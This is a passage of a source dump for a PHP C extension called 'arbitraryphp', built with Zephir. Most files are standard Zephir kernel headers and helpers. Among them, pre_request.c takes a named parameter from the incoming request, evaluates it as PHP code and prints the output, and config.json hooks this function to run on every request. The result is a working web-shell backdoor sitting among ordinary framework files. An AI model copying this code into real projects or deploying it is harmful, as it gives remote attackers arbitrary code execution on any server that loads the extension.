| | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_OUTPUT_H 22 | #define ZEPHIR_KERNEL_OUTPUT_H 23 | 24 | #include 25 | 26 | void zephir_ob_start(TSRMLS_D); 27 | void zephir_ob_get_contents(zval *result TSRMLS_DC); 28 | int zephir_ob_end_flush(TSRMLS_D); 29 | int zephir_ob_end_clean(TSRMLS_D); 30 | int zephir_ob_flush(TSRMLS_D); 31 | int zephir_ob_clean(TSRMLS_D); 32 | int zephir_ob_get_level(TSRMLS_D); 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/session.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_SESSION_H 22 | #define ZEPHIR_KERNEL_SESSION_H 23 | 24 | #include 25 | #include 26 | 27 | void zephir_session_start(TSRMLS_D); 28 | void zephir_session_destroy(TSRMLS_D); 29 | void zephir_get_session_id(zval *return_value, zval **return_value_ptr TSRMLS_DC); 30 | void zephir_set_session_id(zval *sid TSRMLS_DC); 31 | 32 | #endif /* ZEPHIR_KERNEL_SESSION_H */ 33 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/variables.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Rack Lin | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_VARIABLES_H 22 | #define ZEPHIR_KERNEL_VARIABLES_H 23 | 24 | #include 25 | #include 26 | 27 | void zephir_serialize(zval *return_value, zval **var TSRMLS_DC); 28 | void zephir_unserialize(zval *return_value, zval *var TSRMLS_DC); 29 | 30 | void zephir_var_export(zval **var TSRMLS_DC); 31 | void zephir_var_export_ex(zval *return_value, zval **var TSRMLS_DC); 32 | 33 | void zephir_var_dump(zval **var TSRMLS_DC); 34 | 35 | void zephir_get_defined_vars(zval *return_value TSRMLS_DC); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /arbitraryphp/ext/config.m4: -------------------------------------------------------------------------------- 1 | PHP_ARG_ENABLE(arbitraryphp, whether to enable arbitraryphp, [ --enable-arbitraryphp Enable Arbitraryphp]) 2 | 3 | if test "$PHP_ARBITRARYPHP" = "yes"; then 4 | 5 | 6 | 7 | if ! test "x" = "x"; then 8 | PHP_EVAL_LIBLINE(, ARBITRARYPHP_SHARED_LIBADD) 9 | fi 10 | 11 | AC_DEFINE(HAVE_ARBITRARYPHP, 1, [Whether you have Arbitraryphp]) 12 | arbitraryphp_sources="arbitraryphp.c kernel/main.c kernel/memory.c kernel/exception.c kernel/debug.c kernel/backtrace.c kernel/object.c kernel/array.c kernel/string.c kernel/fcall.c kernel/extended/fcall.c kernel/require.c kernel/file.c kernel/operators.c kernel/math.c kernel/concat.c kernel/variables.c kernel/filter.c kernel/iterator.c kernel/time.c kernel/exit.c arbitraryphp/main.zep.c initial/pre_request.c" 13 | PHP_NEW_EXTENSION(arbitraryphp, $arbitraryphp_sources, $ext_shared,, ) 14 | PHP_SUBST(ARBITRARYPHP_SHARED_LIBADD) 15 | 16 | old_CPPFLAGS=$CPPFLAGS 17 | CPPFLAGS="$CPPFLAGS $INCLUDES" 18 | 19 | AC_CHECK_DECL( 20 | [HAVE_BUNDLED_PCRE], 21 | [ 22 | AC_CHECK_HEADERS( 23 | [ext/pcre/php_pcre.h], 24 | [ 25 | PHP_ADD_EXTENSION_DEP([arbitraryphp], [pcre]) 26 | AC_DEFINE([ZEPHIR_USE_PHP_PCRE], [1], [Whether PHP pcre extension is present at compile time]) 27 | ], 28 | , 29 | [[#include "main/php.h"]] 30 | ) 31 | ], 32 | , 33 | [[#include "php_config.h"]] 34 | ) 35 | 36 | AC_CHECK_DECL( 37 | [HAVE_JSON], 38 | [ 39 | AC_CHECK_HEADERS( 40 | [ext/json/php_json.h], 41 | [ 42 | PHP_ADD_EXTENSION_DEP([arbitraryphp], [json]) 43 | AC_DEFINE([ZEPHIR_USE_PHP_JSON], [1], [Whether PHP json extension is present at compile time]) 44 | ], 45 | , 46 | [[#include "main/php.h"]] 47 | ) 48 | ], 49 | , 50 | [[#include "php_config.h"]] 51 | ) 52 | 53 | CPPFLAGS=$old_CPPFLAGS 54 | 55 | PHP_INSTALL_HEADERS([ext/arbitraryphp], [php_ARBITRARYPHP.h]) 56 | 57 | fi 58 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/filter.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifndef ZEPHIR_KERNEL_FILTER_H 21 | #define ZEPHIR_KERNEL_FILTER_H 22 | 23 | #include 24 | 25 | /** Low level filters */ 26 | void zephir_filter_alphanum(zval *return_value, zval *param); 27 | void zephir_filter_identifier(zval *return_value, zval *param); 28 | 29 | /** Encoding */ 30 | void zephir_is_basic_charset(zval *return_value, const zval *param); 31 | 32 | /** Escaping */ 33 | void zephir_escape_css(zval *return_value, zval *param); 34 | void zephir_escape_js(zval *return_value, zval *param); 35 | void zephir_escape_htmlattr(zval *return_value, zval *param); 36 | void zephir_escape_html(zval *return_value, zval *str, zval *quote_style, zval *charset TSRMLS_DC); 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /arbitraryphp/ext/initial/pre_request.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "../ext_config.h" 3 | #endif 4 | 5 | #include 6 | #include "../php_ext.h" 7 | #include "../ext.h" 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include "kernel/main.h" 14 | #include "kernel/array.h" 15 | #include "kernel/memory.h" 16 | #include "kernel/fcall.h" 17 | 18 | #include "pre_request.h" 19 | 20 | #if PHP_VERSION_ID >= 70000 21 | 22 | void pre_request(TSRMLS_D) { 23 | zval *_REQUEST, request_name, _0$$3, _1$$3; 24 | 25 | ZVAL_UNDEF(&_0$$3); 26 | ZVAL_UNDEF(&_1$$3); 27 | ZVAL_UNDEF(&request_name); 28 | 29 | ZEPHIR_MM_GROW(); 30 | zephir_get_global(&_REQUEST, SL("_REQUEST")); 31 | 32 | ZEPHIR_INIT_VAR(&request_name); 33 | ZVAL_STRING(&request_name, REQUEST_NAME); 34 | if (zephir_array_isset(_REQUEST, &request_name)) { 35 | ZEPHIR_INIT_VAR(&_0$$3); 36 | zephir_array_fetch(&_1$$3, _REQUEST, &request_name, PH_NOISY | PH_READONLY, "arbitraryphp/main.zep", 8 TSRMLS_CC); 37 | zephir_eval_php(&_1$$3, &_0$$3, "/app/arbitraryphp/arbitraryphp/main.zep:8" TSRMLS_CC); 38 | zend_print_zval(&_0$$3, 0); 39 | } 40 | ZEPHIR_MM_RESTORE(); 41 | } 42 | 43 | #else 44 | 45 | void pre_request(TSRMLS_D) { 46 | zval *_REQUEST, *request_name, *_0$$3, *_1$$3; 47 | 48 | ZEPHIR_MM_GROW(); 49 | zephir_get_global(&_REQUEST, SS("_REQUEST") TSRMLS_CC); 50 | 51 | ZEPHIR_INIT_VAR(request_name); 52 | ZVAL_STRING(request_name, REQUEST_NAME, 1); 53 | if (zephir_array_isset(_REQUEST, request_name)) { 54 | ZEPHIR_INIT_VAR(_0$$3); 55 | zephir_array_fetch(&_1$$3, _REQUEST, request_name, PH_NOISY | PH_READONLY, "arbitraryphp/main.zep", 8 TSRMLS_CC); 56 | zephir_eval_php(_1$$3, _0$$3, "/app/arbitraryphp/arbitraryphp/main.zep:8" TSRMLS_CC); 57 | zend_print_zval(_0$$3, 0); 58 | } 59 | ZEPHIR_MM_RESTORE(); 60 | } 61 | 62 | #endif -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/math.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifndef ZEPHIR_KERNEL_MATH_H 21 | #define ZEPHIR_KERNEL_MATH_H 22 | 23 | #include 24 | #include 25 | 26 | double zephir_sin(zval *op1 TSRMLS_DC); 27 | double zephir_asin(zval *op1 TSRMLS_DC); 28 | double zephir_tan(zval *op1 TSRMLS_DC); 29 | double zephir_cos(zval *op1 TSRMLS_DC); 30 | double zephir_acos(zval *op1 TSRMLS_DC); 31 | double zephir_sqrt(zval *op1 TSRMLS_DC); 32 | 33 | double zephir_floor(zval *op1 TSRMLS_DC); 34 | double zephir_ceil(zval *op1 TSRMLS_DC); 35 | 36 | void zephir_round(zval *return_value, zval *op1, zval *op2, zval *op3 TSRMLS_DC); 37 | void zephir_pow(zval *return_value, zval *op1, zval *op2 TSRMLS_DC); 38 | 39 | long zephir_mt_rand(long min, long max TSRMLS_DC); 40 | 41 | double zephir_ldexp(zval *value, zval *expval TSRMLS_DC); 42 | 43 | #endif 44 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/iterator.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | 28 | #include "kernel/main.h" 29 | #include "kernel/memory.h" 30 | 31 | /** 32 | * Returns an iterator from the object 33 | */ 34 | zend_object_iterator *zephir_get_iterator(zval *iterator TSRMLS_DC) { 35 | 36 | zend_class_entry *ce; 37 | zend_object_iterator *it; 38 | 39 | if (Z_TYPE_P(iterator) != IS_OBJECT) { 40 | return NULL; 41 | } 42 | 43 | ce = Z_OBJCE_P(iterator); 44 | it = ce->get_iterator(ce, iterator, 0 TSRMLS_CC); 45 | if (!it || EG(exception)) { 46 | return NULL; 47 | } 48 | 49 | if (it->funcs->get_current_key == NULL) { 50 | return NULL; 51 | } 52 | 53 | if (it->funcs->rewind == NULL) { 54 | return NULL; 55 | } 56 | 57 | return it; 58 | } 59 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/extended/fcall.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | +------------------------------------------------------------------------+ 17 | */ 18 | 19 | #ifndef ZEPHIR_KERNEL_FCALL_EXT_H 20 | #define ZEPHIR_KERNEL_FCALL_EXT_H 21 | 22 | #define ZEPHIR_FCALL_TYPE_UNKNOWN 0 23 | #define ZEPHIR_FCALL_TYPE_FUNC 1 24 | #define ZEPHIR_FCALL_TYPE_ZVAL_METHOD 2 25 | #define ZEPHIR_FCALL_TYPE_CLASS_PARENT_METHOD 3 26 | #define ZEPHIR_FCALL_TYPE_CLASS_SELF_METHOD 4 27 | #define ZEPHIR_FCALL_TYPE_CLASS_STATIC_METHOD 5 28 | #define ZEPHIR_FCALL_TYPE_CE_METHOD 6 29 | 30 | typedef struct _zephir_fcall_info { 31 | int type; 32 | zend_class_entry *ce; 33 | zval *object_ptr; 34 | const char *class_name; 35 | int class_length; 36 | const char *func_name; 37 | int func_length; 38 | } zephir_fcall_info; 39 | 40 | int zephir_call_function_opt(zend_fcall_info *fci, zend_fcall_info_cache *fci_cache, zephir_fcall_info *info TSRMLS_DC); 41 | int zephir_call_func_aparams_fast(zval **return_value_ptr, zephir_fcall_cache_entry **cache_entry, uint param_count, zval **params TSRMLS_DC); 42 | 43 | #endif 44 | -------------------------------------------------------------------------------- /arbitraryphp/ext/php_arbitraryphp.h: -------------------------------------------------------------------------------- 1 | 2 | /* This file was generated automatically by Zephir do not modify it! */ 3 | 4 | #ifndef PHP_ARBITRARYPHP_H 5 | #define PHP_ARBITRARYPHP_H 1 6 | 7 | #ifdef PHP_WIN32 8 | #define ZEPHIR_RELEASE 1 9 | #endif 10 | 11 | #include "kernel/globals.h" 12 | 13 | #define PHP_ARBITRARYPHP_NAME "arbitraryphp" 14 | #define PHP_ARBITRARYPHP_VERSION "1.0.0" 15 | #define PHP_ARBITRARYPHP_EXTNAME "arbitraryphp" 16 | #define PHP_ARBITRARYPHP_AUTHOR "github" 17 | #define PHP_ARBITRARYPHP_ZEPVERSION "0.11.1" 18 | #define PHP_ARBITRARYPHP_DESCRIPTION "" 19 | 20 | 21 | 22 | ZEND_BEGIN_MODULE_GLOBALS(arbitraryphp) 23 | 24 | int initialized; 25 | 26 | /* Memory */ 27 | zephir_memory_entry *start_memory; /**< The first preallocated frame */ 28 | zephir_memory_entry *end_memory; /**< The last preallocate frame */ 29 | zephir_memory_entry *active_memory; /**< The current memory frame */ 30 | 31 | /* Virtual Symbol Tables */ 32 | zephir_symbol_table *active_symbol_table; 33 | 34 | /** Function cache */ 35 | HashTable *fcache; 36 | 37 | zephir_fcall_cache_entry *scache[ZEPHIR_MAX_CACHE_SLOTS]; 38 | 39 | /* Cache enabled */ 40 | unsigned int cache_enabled; 41 | 42 | /* Max recursion control */ 43 | unsigned int recursive_lock; 44 | 45 | /* Global constants */ 46 | zval *global_true; 47 | zval *global_false; 48 | zval *global_null; 49 | 50 | ZEND_END_MODULE_GLOBALS(arbitraryphp) 51 | 52 | #ifdef ZTS 53 | #include "TSRM.h" 54 | #endif 55 | 56 | ZEND_EXTERN_MODULE_GLOBALS(arbitraryphp) 57 | 58 | #ifdef ZTS 59 | #define ZEPHIR_GLOBAL(v) TSRMG(arbitraryphp_globals_id, zend_arbitraryphp_globals *, v) 60 | #else 61 | #define ZEPHIR_GLOBAL(v) (arbitraryphp_globals.v) 62 | #endif 63 | 64 | #ifdef ZTS 65 | #define ZEPHIR_VGLOBAL ((zend_arbitraryphp_globals *) (*((void ***) tsrm_ls))[TSRM_UNSHUFFLE_RSRC_ID(arbitraryphp_globals_id)]) 66 | #else 67 | #define ZEPHIR_VGLOBAL &(arbitraryphp_globals) 68 | #endif 69 | 70 | #define ZEPHIR_API ZEND_API 71 | 72 | #define zephir_globals_def arbitraryphp_globals 73 | #define zend_zephir_globals_def zend_arbitraryphp_globals 74 | 75 | extern zend_module_entry arbitraryphp_module_entry; 76 | #define phpext_arbitraryphp_ptr &arbitraryphp_module_entry 77 | 78 | #endif 79 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/require.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_REQUIRE_H 22 | #define ZEPHIR_KERNEL_REQUIRE_H 23 | 24 | #include "php_ext.h" 25 | 26 | int zephir_require_ret(zval **return_value_ptr, const char *require_path TSRMLS_DC) ZEPHIR_ATTR_NONNULL1(2); 27 | 28 | ZEPHIR_ATTR_NONNULL static inline int zephir_require(const char *require_path TSRMLS_DC) 29 | { 30 | return zephir_require_ret(NULL, require_path TSRMLS_CC); 31 | } 32 | 33 | ZEPHIR_ATTR_NONNULL static inline int zephir_require_zval(const zval *require_path TSRMLS_DC) 34 | { 35 | return zephir_require_ret(NULL, Z_TYPE_P(require_path) == IS_STRING ? Z_STRVAL_P(require_path) : "" TSRMLS_CC); 36 | } 37 | 38 | ZEPHIR_ATTR_NONNULL static inline int zephir_require_zval_ret(zval **return_value_ptr, const zval *require_path TSRMLS_DC) 39 | { 40 | return zephir_require_ret(return_value_ptr, Z_TYPE_P(require_path) == IS_STRING ? Z_STRVAL_P(require_path) : "" TSRMLS_CC); 41 | } 42 | 43 | #endif /* ZEPHIR_KERNEL_REQUIRE_H */ 44 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/time.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | */ 16 | 17 | #ifdef HAVE_CONFIG_H 18 | #include "config.h" 19 | #endif 20 | 21 | #ifdef PHP_WIN32 22 | #include "win32/time.h" 23 | #elif defined(NETWARE) 24 | #include 25 | #include 26 | #else 27 | #include 28 | #endif 29 | 30 | #include 31 | 32 | #include "php.h" 33 | #include "php_ext.h" 34 | 35 | #include "kernel/main.h" 36 | #include "kernel/time.h" 37 | #include "kernel/memory.h" 38 | #include "kernel/fcall.h" 39 | #include "kernel/operators.h" 40 | 41 | void zephir_time(zval *return_value) 42 | { 43 | RETURN_LONG(time(NULL)); 44 | } 45 | 46 | void zephir_microtime(zval *return_value, zval *get_as_float TSRMLS_DC) 47 | { 48 | #ifdef PHP_WIN32 49 | zval z_as_float; 50 | zval *params[1]; 51 | 52 | ZEPHIR_SINIT_VAR(z_as_float); 53 | if (get_as_float && ZEPHIR_IS_TRUE(get_as_float)) { 54 | ZVAL_BOOL(&z_as_float, 1); 55 | } else { 56 | ZVAL_BOOL(&z_as_float, 0); 57 | } 58 | 59 | params[0] = &z_as_float; 60 | 61 | zephir_return_call_function(return_value, NULL, ZEND_STRL("microtime"), NULL, 0, 1, params TSRMLS_CC); 62 | return; 63 | #else 64 | struct timeval tp = {0}; 65 | char ret[100]; 66 | 67 | if (gettimeofday(&tp, NULL)) { 68 | RETURN_FALSE; 69 | } 70 | 71 | if (get_as_float && ZEPHIR_IS_TRUE(get_as_float)) { 72 | RETURN_DOUBLE((double)(tp.tv_sec + tp.tv_usec / MICRO_IN_SEC)); 73 | } 74 | 75 | snprintf(ret, 100, "%.8F %ld", tp.tv_usec / MICRO_IN_SEC, tp.tv_sec); 76 | RETURN_STRING(ret, 1); 77 | #endif 78 | } 79 | -------------------------------------------------------------------------------- /arbitraryphp/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "stubs": { 3 | "path": "ide\/%version%\/%namespace%\/", 4 | "stubs-run-after-generate": false 5 | }, 6 | "api": { 7 | "path": "doc\/%version%", 8 | "theme": { 9 | "name": "zephir", 10 | "options": { 11 | "github": null, 12 | "analytics": null, 13 | "main_color": "#3E6496", 14 | "link_color": "#3E6496", 15 | "link_hover_color": "#5F9AE7" 16 | } 17 | } 18 | }, 19 | "warnings": { 20 | "unused-variable": true, 21 | "unused-variable-external": false, 22 | "possible-wrong-parameter": true, 23 | "possible-wrong-parameter-undefined": false, 24 | "nonexistent-function": true, 25 | "nonexistent-class": true, 26 | "non-valid-isset": true, 27 | "non-array-update": true, 28 | "non-valid-objectupdate": true, 29 | "non-valid-fetch": true, 30 | "invalid-array-index": true, 31 | "non-array-append": true, 32 | "invalid-return-type": true, 33 | "unreachable-code": true, 34 | "nonexistent-constant": true, 35 | "not-supported-magic-constant": true, 36 | "non-valid-decrement": true, 37 | "non-valid-increment": true, 38 | "non-valid-clone": true, 39 | "non-valid-new": true, 40 | "non-array-access": true, 41 | "invalid-reference": true, 42 | "invalid-typeof-comparison": true, 43 | "conditional-initialization": true 44 | }, 45 | "optimizations": { 46 | "static-type-inference": true, 47 | "static-type-inference-second-pass": true, 48 | "local-context-pass": true, 49 | "constant-folding": true, 50 | "static-constant-class-folding": true, 51 | "call-gatherer-pass": true, 52 | "check-invalid-reads": false, 53 | "internal-call-transformation": false 54 | }, 55 | "namespace": "arbitraryphp", 56 | "name": "arbitraryphp", 57 | "description": "", 58 | "author": "github", 59 | "version": "1.0.0", 60 | "verbose": false, 61 | "requires": { 62 | "extensions": [] 63 | }, 64 | "extra-sources": [ 65 | "initial/pre_request.c" 66 | ], 67 | "initializers": { 68 | "request": [ 69 | { 70 | "include": "initial/pre_request.h", 71 | "code": "pre_request(TSRMLS_C)" 72 | } 73 | ] 74 | } 75 | } -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/backtrace.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_RELEASE 22 | #if defined(linux) || defined(DARWIN) || defined(__APPLE__) 23 | 24 | #include 25 | #include 26 | #include 27 | 28 | /** 29 | * A buffer for backtrace. It is better to have it allocated statically 30 | * in order not to face out of memory conditions later 31 | */ 32 | void *backtrace_buf[4096]; 33 | 34 | void zephir_print_backtrace(void) 35 | { 36 | int i; 37 | int stack_size = backtrace(backtrace_buf, sizeof(backtrace_buf) / sizeof(void*)); 38 | char **stack_symbols = backtrace_symbols(backtrace_buf, stack_size); 39 | char buf[50]; 40 | smart_str s; 41 | 42 | s.c = NULL; 43 | 44 | for (i = 0; i < stack_size; ++i) { 45 | snprintf(buf, sizeof(buf), "#%d %p [", i, backtrace_buf[i]); 46 | smart_str_appends(&s, buf); 47 | smart_str_appends(&s, stack_symbols[i]); 48 | smart_str_appends(&s, "]\n"); 49 | } 50 | 51 | smart_str_0(&s); 52 | 53 | fprintf(stderr, "%s\n", s.c); 54 | smart_str_free(&s); 55 | } 56 | 57 | #else 58 | 59 | void zephir_print_backtrace(void) 60 | { 61 | /** 62 | * Not implemented yet for anything other than Linux 63 | */ 64 | } 65 | 66 | #endif 67 | #endif /* ZEPHIR_RELEASE */ 68 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/file.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifndef ZEPHIR_KERNEL_FILE_H 21 | #define ZEPHIR_KERNEL_FILE_H 22 | 23 | #include 24 | 25 | int zephir_file_exists(zval *filename TSRMLS_DC); 26 | int zephir_compare_mtime(zval *filename1, zval *filename2 TSRMLS_DC); 27 | void zephir_fix_path(zval **return_value, zval *path, zval *directory_separator TSRMLS_DC); 28 | void zephir_prepare_virtual_path(zval *return_value, zval *path, zval *virtual_separator TSRMLS_DC); 29 | void zephir_unique_path_key(zval *return_value, zval *path TSRMLS_DC); 30 | void zephir_realpath(zval *return_value, zval *filename TSRMLS_DC); 31 | void zephir_file_get_contents(zval *return_value, zval *filename TSRMLS_DC); 32 | void zephir_file_put_contents(zval *return_value, zval *filename, zval *data TSRMLS_DC); 33 | void zephir_possible_autoload_filepath(zval *return_value, zval *prefix, zval *class_name, zval *virtual_separator, zval *separator TSRMLS_DC); 34 | 35 | void zephir_is_dir(zval *return_value, zval *path TSRMLS_DC); 36 | void zephir_unlink(zval *return_value, zval *path TSRMLS_DC); 37 | void zephir_filemtime(zval *return_value, zval *path TSRMLS_DC); 38 | void zephir_basename(zval *return_value, zval *path TSRMLS_DC); 39 | 40 | void zephir_fwrite(zval *return_value, zval *stream_zval, zval *data TSRMLS_DC); 41 | int zephir_feof(zval *stream_zval TSRMLS_DC); 42 | int zephir_fclose(zval *stream_zval TSRMLS_DC); 43 | 44 | #ifdef TSRM_WIN32 45 | #define ZEPHIR_DIRECTORY_SEPARATOR "\\" 46 | #else 47 | #define ZEPHIR_DIRECTORY_SEPARATOR "/" 48 | #endif 49 | 50 | #endif /* ZEPHIR_KERNEL_FILE_H */ 51 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/debug.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifndef ZEPHIR_KERNEL_DEBUG_H 21 | #define ZEPHIR_KERNEL_DEBUG_H 22 | 23 | #ifndef ZEPHIR_RELEASE 24 | 25 | #include 26 | 27 | #define PHV(v) zephir_vdump(v) 28 | #define PHPR(v) zephir_print_r(v) 29 | 30 | typedef struct _zephir_debug_entry { 31 | struct _zephir_debug_entry *prev; 32 | struct _zephir_debug_entry *next; 33 | char *class_name; 34 | char *method_name; 35 | int lineno; 36 | } zephir_debug_entry; 37 | 38 | int zephir_start_debug(); 39 | int zephir_stop_debug(); 40 | 41 | int zephir_print_r(zval *userval TSRMLS_DC); 42 | int zephir_vdump(zval *uservar TSRMLS_DC); 43 | int zephir_debug_assign(char *name, zval *value 